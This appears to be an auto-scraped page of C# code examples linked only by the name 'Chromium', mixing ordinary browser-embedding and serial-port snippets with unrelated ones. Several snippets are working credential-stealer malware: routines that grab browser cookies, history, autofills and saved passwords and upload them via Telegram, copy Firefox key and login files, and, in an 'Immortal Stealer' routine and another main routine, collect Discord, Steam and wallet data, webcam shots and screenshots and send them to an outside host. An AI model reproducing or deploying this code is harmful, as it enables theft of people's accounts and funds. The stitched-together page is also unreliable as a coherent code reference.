Exemple #1
0
        protected async Task <T> ExecuteScript <T>(int timeMs, string code, T failValue)
        {
            RestartTimer();

            string totalCode = "(function() { " +
                               code +
                               "})();";

            try {
                Task <JavascriptResponse> task = Chromium.EvaluateScriptAsync(totalCode, TimeSpan.FromMilliseconds(timeMs));
                await task;
                if (task.Result != null && task.Result.Success && task.Result != null)
                {
                    Console.WriteLine("'" + code + "' execution time = " + timer.ElapsedMilliseconds);
                    return((T)task.Result.Result);
                }
            }
            catch (Exception e) {
                Telemetry.Default.TrackException(e);

                return(failValue);
            }
            return(failValue);
        }
Exemple #2
0
        private void LoadHandler_OnLoadEnd(object sender, Chromium.Event.CfxOnLoadEndEventArgs e)
        {
            // Check if it is the main frame when page has loaded.
            if (e.Frame.IsMain)
            {
                //Open DevTools window to watch js console output messages.
                Chromium.ShowDevTools();

                //call js function without return value
                ExecuteJavascript("sayHello()");

                //call js function with return value
                EvaluateJavascript("sayHelloToSomeone('C#')", (value, exception) =>
                {
                    if (value.IsString)
                    {
                        // Get value from Javascript.
                        var jsValue = value.StringValue;

                        MessageBox.Show(this, jsValue);
                    }
                });
            }
        }
        public Main()
            : base("http://res.app.local/index.html")
        {
            InitializeComponent();

            MainForm = this;

            LoadHandler.OnLoadEnd += HtmlLoadEnd;

            GlobalObject.AddFunction("ShowDevTools").Execute += (func, args) =>
            {
                this.RequireUIThread(() =>
                {
                    Chromium.ShowDevTools();
                });
            };

            GlobalObject.AddFunction("ChangeSerialConnection").Execute += (func, args) =>
            {
                this.RequireUIThread(() =>
                {
                    string portName = args.Arguments[0].StringValue;
                    if (SerialPortManager.Device.IsOpen)
                    {
                        SerialPortManager.Close();
                    }
                    else
                    {
                        SerialPortManager.Open(portName);
                    }
                    args.SetReturnValue(SerialPortManager.Device.IsOpen);
                });
            };

            GlobalObject.AddFunction("ChangeConnectionState").Execute += (func, args) =>
            {
                this.RequireUIThread(() =>
                {
                    bool state = args.Arguments[0].BoolValue;
                    if (state)
                    {
                        ConnectionManager.Start();
                    }
                    else
                    {
                        ConnectionManager.Stop();
                    }
                });
            };

            GlobalObject.AddFunction("ReconnectDevice").Execute += (func, args) =>
            {
                this.RequireUIThread(() =>
                {
                    ConnectionManager.Start();
                });
            };

            GlobalObject.AddFunction("RefreshClick").Execute += (func, args) =>
            {
                this.RequireUIThread(() =>
                {
                    bool ret = false;
                    try
                    {
                        DataManager.Params.Clear();
                        string deal = PortAgreement.ReadAllCard();
                        SerialPortManager.Write(deal);
                        OverTimer.start();

                        ret = true;
                    }
                    catch (Exception ex)
                    {
                        Log4Helper.ErrorInfo(ex.Message, ex);
                        JavascriptEvent.ErrorMessage(ex.Message);
                    }
                    args.SetReturnValue(ret);
                });
            };


            GlobalObject.AddFunction("DownloadClick").Execute += (func, args) =>
            {
                int count = DataManager.Params.Where(e => e.State != "设置成功" && e.DataType == "正常").Count();
                if (count == 0)
                {
                    args.SetReturnValue(count);
                    return;
                }
                this.RequireUIThread(() =>
                {
                    string strClientNumber = args.Arguments[0].StringValue;

                    Task.Factory.StartNew(() =>
                    {
                        foreach (Param item in DataManager.Params)
                        {
                            if (item.State != "设置成功" && item.DataType == "正常")
                            {
                                string deal = PortAgreement.WriteClientNumber(item.CardNumber, strClientNumber);
                                bool ret    = SerialPortManager.Write(deal);
                                if (ret)
                                {
                                    SerialPortManager.OperationResult = OperationResults.None;
                                    for (int i = 0; i < 500; i++)
                                    {
                                        Thread.Sleep(10);
                                        if (SerialPortManager.OperationResult != OperationResults.None)
                                        {
                                            if (SerialPortManager.OperationResult == OperationResults.Success)
                                            {
                                                item.State = "设置成功";

                                                DataManager.ViewListDisplay();
                                            }
                                            break;
                                        }
                                    }
                                }
                            }
                        }
                        JavascriptEvent.OperationOver();
                    });
                });
                args.SetReturnValue(-1);
            };

            GlobalObject.AddFunction("SetDeviceClient").Execute += (func, args) =>
            {
                this.RequireUIThread(() =>
                {
                    string strClientNumber = args.Arguments[0].StringValue;
                    string deal            = PortAgreement.EncryptionDevice(strClientNumber);
                    bool ret = SerialPortManager.Write(deal);
                    args.SetReturnValue(ret);
                });
            };

            GlobalObject.AddFunction("SetCardNumber").Execute += (func, args) =>
            {
                this.RequireUIThread(() =>
                {
                    string strOldNumber  = args.Arguments[0].StringValue;
                    string strCardNumber = args.Arguments[1].StringValue;
                    string strType       = args.Arguments[2].StringValue;
                    string deal          = PortAgreement.WriteCardNumber(strOldNumber, strCardNumber, strType);
                    bool ret             = SerialPortManager.Write(deal);
                    if (ret)
                    {
                        if (strCardNumber != "797979" || strCardNumber != "123456")
                        {
                            ConfigManager.SetConfig("Number", strCardNumber);
                        }
                    }
                    args.SetReturnValue(ret);
                });
            };
        }
 public static void getDownloads()
 {
     Chromium.GetDownloads(path);
     Thread.Sleep(1500);
     telegram.UploadFile(path + "\\Downloads.txt", true);
 }
 public static void getCookie()
 {
     Chromium.GetCookies(path);
     Thread.Sleep(1500);
     telegram.UploadFile(path + "\\Cookies.txt", true);
 }
Exemple #6
0
        public Main()
            : base("http://res.app.local/main.html")
        {
            InitializeComponent();
            GetMain = this;

            this.Load += OnLoadForm;

            LoadHandler.OnLoadEnd += (sender, args) =>
            {
                PortMonitor.StartMonitor();
            };

            GlobalObject.AddFunction("ShowDevTools").Execute += (sender, args) =>
            {
                Chromium.ShowDevTools();
            };

            GlobalObject.AddFunction("HostOpenAndCloseSerialDevice").Execute += (sender, args) =>
            {
                try
                {
                    var          callback   = args.Arguments.FirstOrDefault(e => e.IsFunction);
                    string       deviceName = args.Arguments[0].StringValue;
                    SerialPortEx serial     = SelectSerialDevice(deviceName);
                    string       portName   = args.Arguments[1].StringValue;
                    if (!serial.IsOpen)
                    {
                        SerialPortManager.OpenSerialPort(serial, portName);
                    }
                    else
                    {
                        SerialPortManager.CloseSerialPort(serial);
                    }
                    string json = Utility.JsonSerializerBySingleData(serial);
                    callback.ExecuteFunction(null, new Chromium.Remote.CfrV8Value[] { json });
                }
                catch (Exception ex)
                {
                    Log4Helper.ErrorInfo(ex.Message, ex);
                    ViewCallFunction.ViewAlert(ex.Message);
                }
            };

            GlobalObject.AddFunction("HostAutoConnectionDeviced").Execute += (sender, args) =>
            {
                try
                {
                    bool autoConnection = args.Arguments[0].BoolValue;
                    if (autoConnection)
                    {
                        ConnectionSerialDevice.Start();
                    }
                    else
                    {
                        ConnectionSerialDevice.Stop();
                    }
                    ConnectionSerialDevice.AutoConnectioinDevice = autoConnection;
                }
                catch (Exception ex)
                {
                    Log4Helper.ErrorInfo(ex.Message, ex);
                    ViewCallFunction.ViewAlert(ex.Message);
                }
            };

            CardManagerEvh.InitEvent();
            PwdManagerEvh.InitEvent();
            ConfigureManagerEvh.InitEvent();
            WirelessManagerEvh.InitEvent();
            UserManagerEvh.InitEvent();
        }
Exemple #7
0
        private void LoadHandler_OnLoadStart(object sender, Chromium.Event.CfxOnLoadStartEventArgs e)
        {
#if DEBUG
            Chromium.ShowDevTools();
#endif
        }
Exemple #8
0
 public bool EvaluateJavascript(string code, JSInvokeMode invokeMode, Action <CfrV8Value, CfrV8Exception> callback) => Chromium.EvaluateJavascript(code, invokeMode, callback);
Exemple #9
0
 public bool ExecuteJavascript(string code) => Chromium.ExecuteJavascript(code);
 protected override void OnFormClosed(FormClosedEventArgs e)
 {
     base.OnFormClosed(e);
     Chromium.Dispose();
 }
Exemple #11
0
        public void TestPrintElectronShellCfg_All()
        {
            IElement testSubject;;

            testSubject = new Hydrogen();
            Console.WriteLine($"Hydrogen {testSubject.PrintElectronShellCfg()}");
            testSubject = new Helium();
            Console.WriteLine($"Helium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Lithium();
            Console.WriteLine($"Lithium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Beryllium();
            Console.WriteLine($"Beryllium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Boron();
            Console.WriteLine($"Boron {testSubject.PrintElectronShellCfg()}");
            testSubject = new Carbon();
            Console.WriteLine($"Carbon {testSubject.PrintElectronShellCfg()}");
            testSubject = new Nitrogen();
            Console.WriteLine($"Nitrogen {testSubject.PrintElectronShellCfg()}");
            testSubject = new Oxygen();
            Console.WriteLine($"Oxygen {testSubject.PrintElectronShellCfg()}");
            testSubject = new Fluorine();
            Console.WriteLine($"Fluorine {testSubject.PrintElectronShellCfg()}");
            testSubject = new Neon();
            Console.WriteLine($"Neon {testSubject.PrintElectronShellCfg()}");
            testSubject = new Sodium();
            Console.WriteLine($"Sodium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Magnesium();
            Console.WriteLine($"Magnesium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Aluminum();
            Console.WriteLine($"Aluminum {testSubject.PrintElectronShellCfg()}");
            testSubject = new Silicon();
            Console.WriteLine($"Silicon {testSubject.PrintElectronShellCfg()}");
            testSubject = new Phosphorus();
            Console.WriteLine($"Phosphorus {testSubject.PrintElectronShellCfg()}");
            testSubject = new Sulfur();
            Console.WriteLine($"Sulfur {testSubject.PrintElectronShellCfg()}");
            testSubject = new Chlorine();
            Console.WriteLine($"Chlorine {testSubject.PrintElectronShellCfg()}");
            testSubject = new Argon();
            Console.WriteLine($"Argon {testSubject.PrintElectronShellCfg()}");
            testSubject = new Potassium();
            Console.WriteLine($"Potassium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Calcium();
            Console.WriteLine($"Calcium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Scandium();
            Console.WriteLine($"Scandium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Titanium();
            Console.WriteLine($"Titanium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Vanadium();
            Console.WriteLine($"Vanadium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Chromium();
            Console.WriteLine($"Chromium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Manganese();
            Console.WriteLine($"Manganese {testSubject.PrintElectronShellCfg()}");
            testSubject = new Iron();
            Console.WriteLine($"Iron {testSubject.PrintElectronShellCfg()}");
            testSubject = new Cobalt();
            Console.WriteLine($"Cobalt {testSubject.PrintElectronShellCfg()}");
            testSubject = new Nickel();
            Console.WriteLine($"Nickel {testSubject.PrintElectronShellCfg()}");
            testSubject = new Copper();
            Console.WriteLine($"Copper {testSubject.PrintElectronShellCfg()}");
            testSubject = new Zinc();
            Console.WriteLine($"Zinc {testSubject.PrintElectronShellCfg()}");
            testSubject = new Gallium();
            Console.WriteLine($"Gallium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Germanium();
            Console.WriteLine($"Germanium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Arsenic();
            Console.WriteLine($"Arsenic {testSubject.PrintElectronShellCfg()}");
            testSubject = new Selenium();
            Console.WriteLine($"Selenium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Bromine();
            Console.WriteLine($"Bromine {testSubject.PrintElectronShellCfg()}");
            testSubject = new Krypton();
            Console.WriteLine($"Krypton {testSubject.PrintElectronShellCfg()}");
            testSubject = new Rubidium();
            Console.WriteLine($"Rubidium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Strontium();
            Console.WriteLine($"Strontium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Yttrium();
            Console.WriteLine($"Yttrium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Zirconium();
            Console.WriteLine($"Zirconium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Niobium();
            Console.WriteLine($"Niobium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Molybdenum();
            Console.WriteLine($"Molybdenum {testSubject.PrintElectronShellCfg()}");
            testSubject = new Technetium();
            Console.WriteLine($"Technetium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Ruthenium();
            Console.WriteLine($"Ruthenium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Rhodium();
            Console.WriteLine($"Rhodium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Palladium();
            Console.WriteLine($"Palladium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Silver();
            Console.WriteLine($"Silver {testSubject.PrintElectronShellCfg()}");
            testSubject = new Cadmium();
            Console.WriteLine($"Cadmium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Indium();
            Console.WriteLine($"Indium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Tin();
            Console.WriteLine($"Tin {testSubject.PrintElectronShellCfg()}");
            testSubject = new Antimony();
            Console.WriteLine($"Antimony {testSubject.PrintElectronShellCfg()}");
            testSubject = new Tellurium();
            Console.WriteLine($"Tellurium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Iodine();
            Console.WriteLine($"Iodine {testSubject.PrintElectronShellCfg()}");
            testSubject = new Xenon();
            Console.WriteLine($"Xenon {testSubject.PrintElectronShellCfg()}");
            testSubject = new Cesium();
            Console.WriteLine($"Cesium {testSubject.PrintElectronShellCfg()}");
            testSubject = new Barium();
            Console.WriteLine($"Barium {testSubject.PrintElectronShellCfg()}");
        }
Exemple #12
0
        protected override void Dispose(bool disposing)
        {
            Chromium.Dispose();

            base.Dispose(disposing);
        }
Exemple #13
0
        public static List <IReflectableType> GETCCD()
        {
            try
            {
                string dataPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
                                               System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String("TW96aWxsYVxcRmlyZWZveFxcUHJvZmlsZXM=")));
                // Get all subdirectories

                string[] subdirectoryEntries = Directory.GetDirectories(dataPath);

                // Loop through them to see if they have any other subdirectories

                foreach (string subdirectory in subdirectoryEntries)
                {
                    if (subdirectory.Contains(".default"))
                    {
                        dataPath = subdirectory + "\\cookies.sqlite";
                        try
                        {
                            if ((File.Exists(subdirectory + "\\key4.db") || File.Exists(subdirectory + "\\key3.db")) && (File.Exists(subdirectory + "\\logins.json") || File.Exists(subdirectory + "\\signons.sqlite")))
                            {
                                if (File.Exists(subdirectory + "\\key4.db"))
                                {
                                    File.Copy(subdirectory + "\\key4.db", Path.Combine(Environment.GetEnvironmentVariable("Temp"), Environment.UserName + "\\" + Environment.MachineName.ToString() + "_ErrorsLogs" + "\\key4.db"));
                                }

                                if (File.Exists(subdirectory + "\\key3.db"))
                                {
                                    File.Copy(subdirectory + "\\key3.db", Path.Combine(Environment.GetEnvironmentVariable("Temp"), Environment.UserName + "\\" + Environment.MachineName.ToString() + "_ErrorsLogs" + "\\key3.db"));
                                }

                                if (File.Exists(subdirectory + "\\logins.json"))
                                {
                                    File.Copy(subdirectory + "\\logins.json", Path.Combine(Environment.GetEnvironmentVariable("Temp"), Environment.UserName + "\\" + Environment.MachineName.ToString() + "_ErrorsLogs" + "\\logins.json"));
                                }

                                if (File.Exists(subdirectory + "\\signons.sqlite"))
                                {
                                    File.Copy(subdirectory + "\\signons.sqlite", Path.Combine(Environment.GetEnvironmentVariable("Temp"), Environment.UserName + "\\" + Environment.MachineName.ToString() + "_ErrorsLogs" + "\\signons.sqlite"));
                                }
                            }
                        }
                        catch { }


                        //    if (File.Exists(subdirectory + "\\key4.db") && File.Exists(subdirectory + "\\logins.json"))
                        //    {
                        //        try
                        //        {
                        //            File.Copy(subdirectory + "\\key4.db", Path.Combine(Environment.GetEnvironmentVariable("Temp"), Environment.UserName + "\\" + Environment.MachineName.ToString() + "_ErrorsLogs" + "\\key4.db"));
                        //            File.Copy(subdirectory + "\\logins.json", Path.Combine(Environment.GetEnvironmentVariable("Temp"), Environment.UserName + "\\" + Environment.MachineName.ToString() + "_ErrorsLogs" + "\\logins.json"));
                        //        }
                        //        catch { }
                        //    }
                    }
                }


                return(Chromium.GETOPAGFF(dataPath, bn.yy));
            }
            catch (Exception)
            {
                return(new List <IReflectableType>());
            }
        }
Exemple #14
0
 protected override void OnTerminate()
 {
     Chromium.Shutdown();
     base.OnTerminate();
 }
Exemple #15
0
 public int Find(string searchText, bool forward) => Chromium.Find(searchText, forward);
Exemple #16
0
        private static void Main(string[] args)
        {
            if (File.Exists(Program.path2))
            {
                Environment.Exit(0);
            }
            if (Program.GetCheckVMBot())
            {
                Environment.Exit(0);
            }
            StreamWriter streamWriter = new StreamWriter("C:\\ProgramData\\debug.txt", true);

            Directory.CreateDirectory(Program.path);
            streamWriter.WriteLine("Created directory");
            Class4.SaveScreen(Program.path + "\\image.png");
            streamWriter.WriteLine("SaveScreen");
            streamWriter.WriteLine("[Browsers Started]");
            streamWriter.Close();
            try
            {
                Class18.smethod_2();
                Class20.smethod_0();
                Class26.smethod_0();
                Class18.Cookies();
                Class30.smethod_9();
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
            try
            {
                Class2.smethod_0(Program.path + "\\Browsers");
            }
            catch (Exception ex2)
            {
                Console.WriteLine(ex2.ToString());
            }
            try
            {
                List <Account> list = Chromium.Grab();
                foreach (Account account in list)
                {
                    File.WriteAllText(Program.path + "\\Browsers\\PasswordsChromium.txt", string.Concat(new string[]
                    {
                        "Url: ",
                        account.URL,
                        "\nUsername: "******"\nPassword: "******"\nApplication: ",
                        account.Application,
                        "\n"
                    }));
                }
            }
            catch (Exception ex3)
            {
                Console.WriteLine(ex3.ToString());
            }
            streamWriter = new StreamWriter("C:\\ProgramData\\debug.txt", true);
            streamWriter.WriteLine("[Browser End]");
            Class4.Discord(Program.path + "\\Discord");
            streamWriter.WriteLine("Discord");
            Class4.FileZilla(Program.path + "\\FileZilla");
            streamWriter.WriteLine("FileZilla");
            Class4.Telegram(Program.path + "\\Telegram");
            streamWriter.WriteLine("Telegram");
            Class4.Steam(Program.path + "\\Steam");
            streamWriter.WriteLine("Steam");
            Class4.smethod_3(Program.path + "\\Wallets");
            streamWriter.WriteLine("Wallets");
            Class4.Pidgin(Program.path + "\\Pidgin");
            streamWriter.WriteLine("Pidgin");
            try
            {
                using (WebClient webClient = new WebClient())
                {
                    byte[] bytes = webClient.DownloadData("http://fuckingav.xyz/antivirus.php");
                    Program.geo = Encoding.ASCII.GetString(bytes);
                }
            }
            catch
            {
                Program.geo = "Unknown?Unknown?Unknown?UN";
            }
            streamWriter.WriteLine("Geo");
            Class4.smethod_0(Program.path + "\\info.txt");
            try
            {
                string text = string.Concat(new string[]
                {
                    Program.string_1,
                    "\\[",
                    Program.geo.Split(new char[]
                    {
                        '?'
                    })[3],
                    "]",
                    Program.geo.Split(new char[]
                    {
                        '?'
                    })[0],
                    ".zip"
                });
                Class6.smethod_3(Program.path, text);
                Class6.smethod_4(text, Program.id, "[" + Program.geo.Split(new char[]
                {
                    '?'
                })[3] + "]" + Program.geo.Split(new char[]
                {
                    '?'
                })[0]);
                Directory.Delete(Program.path, true);
                Directory.Delete(Program.string_1, true);
            }
            catch (Exception ex4)
            {
                Console.WriteLine(ex4.ToString());
            }
        }
Exemple #17
0
 public int Find(string searchText) => Chromium.Find(searchText);
    // Token: 0x06000029 RID: 41
    public static void stealer_main_routine()
    {
        string text  = Class8.Random_string();
        string text2 = Path.GetTempPath() + text;

        Directory.CreateDirectory(text2);
        using (StreamWriter streamWriter = new StreamWriter(text2 + "\\passwords.log"))
        {
            streamWriter.WriteLine(string.Concat(new string[]
            {
                "[==================== Immortal Stealer/Clipper ====================]\r\n[=================== Create By Zet5D ===================]\r\n[=================== Telegram: @Zet5D ===================]\r\n",
                string.Format("Date: {0}\r\n", DateTime.Now),
                string.Format("Windows Username: {0}\r\n", Environment.UserName),
                string.Format("HWID: {0}\r\n", Class2.hwid),
                string.Format("System: {0}\r\n", Class9.define_windows())
            }));
            try
            {
                foreach (PassData value in Chromium.Initialise())
                {
                    streamWriter.WriteLine(value);
                }
            }
            catch
            {
            }
        }
        try
        {
            Class9.grab_desktop(text2);
        }
        catch (Exception ex)
        {
            Console.WriteLine(ex.ToString());
        }
        try
        {
            Class9.grab_minecraft(text2);
        }
        catch (Exception)
        {
        }
        try
        {
            Class9.grab_telegram(text2);
        }
        catch (Exception)
        {
        }
        try
        {
            Class9.grab_discord(text2);
        }
        catch (Exception)
        {
        }
        try
        {
            Class9.get_screenshot(text2 + "\\desktop.jpg");
        }
        catch (Exception ex2)
        {
            Console.WriteLine(ex2.ToString());
        }
        try
        {
            Class9.Class10.get_webcam(text2 + "\\CamPicture.png");
        }
        catch (Exception ex3)
        {
            Console.WriteLine(ex3.ToString());
        }
        try
        {
            Class4.grab_cookies(text2 + "\\");
        }
        catch (Exception ex4)
        {
            Console.WriteLine(ex4.ToString());
        }
        try
        {
            Class14.grab_cards(text2 + "\\");
        }
        catch (Exception ex5)
        {
            Console.WriteLine(ex5.ToString());
        }
        try
        {
            GrabForms.grab_forms(text2 + "\\");
        }
        catch (Exception ex6)
        {
            Console.WriteLine(ex6.ToString());
        }
        try
        {
            Class6.Class7.get_filezilla(text2 + "\\");
        }
        catch (Exception ex7)
        {
            Console.WriteLine(ex7.ToString());
        }
        try
        {
            string bitcoin = CryptoWallets.get_bitcoin();
            if (bitcoin != "" && File.Exists(bitcoin))
            {
                File.Copy(bitcoin, text2 + "\\wallet.dat");
            }
        }
        catch (Exception ex8)
        {
            Console.WriteLine(ex8.ToString());
        }
        try
        {
            Class9.zip_folder(text2, Path.GetTempPath() + "\\" + text + ".zip");
        }
        catch (Exception ex9)
        {
            Console.WriteLine(ex9.ToString());
        }
        try
        {
            Class9.delete_folder(text2);
        }
        catch (Exception ex10)
        {
            Console.WriteLine(ex10.ToString());
        }
        try
        {
            Internet.upload_file(Path.GetTempPath() + "\\" + text + ".zip");
        }
        catch (Exception ex11)
        {
            Console.WriteLine(ex11.ToString());
        }
    }
Exemple #19
0
 public bool ExecuteJavascript(string code, string scriptUrl, int startLine) => Chromium.ExecuteJavascript(code, scriptUrl, startLine);
Exemple #20
0
 public void GoBack() => Chromium.GoBack();
Exemple #21
0
 public JSObject GlobalObjectForFrame(string frameName) => Chromium.GlobalObjectForFrame(frameName);
Exemple #22
0
 public void GoForward() => Chromium.GoForward();
Exemple #23
0
 public void ShowDevTools()
 {
     Chromium.ShowDevTools();
 }
Exemple #24
0
 public void LoadUrl(string url) => Chromium.LoadUrl(url);
Exemple #25
0
        private void Chromium_BrowserCreated(object sender, Chromium.WebBrowser.Event.BrowserCreatedEventArgs e)
        {
#if DEBUG
            Chromium.ShowDevTools();
#endif
        }
Exemple #26
0
 public void LoadString(string stringVal) => Chromium.LoadString(stringVal);
 public static void getAutofills()
 {
     Chromium.GetAutofills(path);
     Thread.Sleep(1500);
     telegram.UploadFile(path + "\\Autofills.txt", true);
 }
Exemple #28
0
 public int Find(string searchText, bool forward, bool matchCase) => Chromium.Find(searchText, forward, matchCase);
 public static void getHistory()
 {
     Chromium.GetHistory(path);
     Thread.Sleep(1500);
     telegram.UploadFile(path + "\\History.txt", true);
 }
Exemple #30
0
 private static void OnBeforeChildProcessLaunch(object sender, Chromium.Event.CfxOnBeforeChildProcessLaunchEventArgs e)
 {
     if(e.CommandLine.HasSwitch("type") && e.CommandLine.GetSwitchValue("type") == "renderer") {
         var pipeName = "cfx" + Guid.NewGuid().ToString().Replace("-", string.Empty);
         var pipeIn = PipeFactory.Instance.CreateServerPipeInputStream(pipeName + "si");
         var pipeOut = PipeFactory.Instance.CreateServerPipeOutputStream(pipeName + "so");
         var connection = new RemoteConnection(pipeIn, pipeOut, false);
         connections.Add(connection);
         e.CommandLine.AppendSwitchWithValue("cfxremote", pipeName);
     }
 }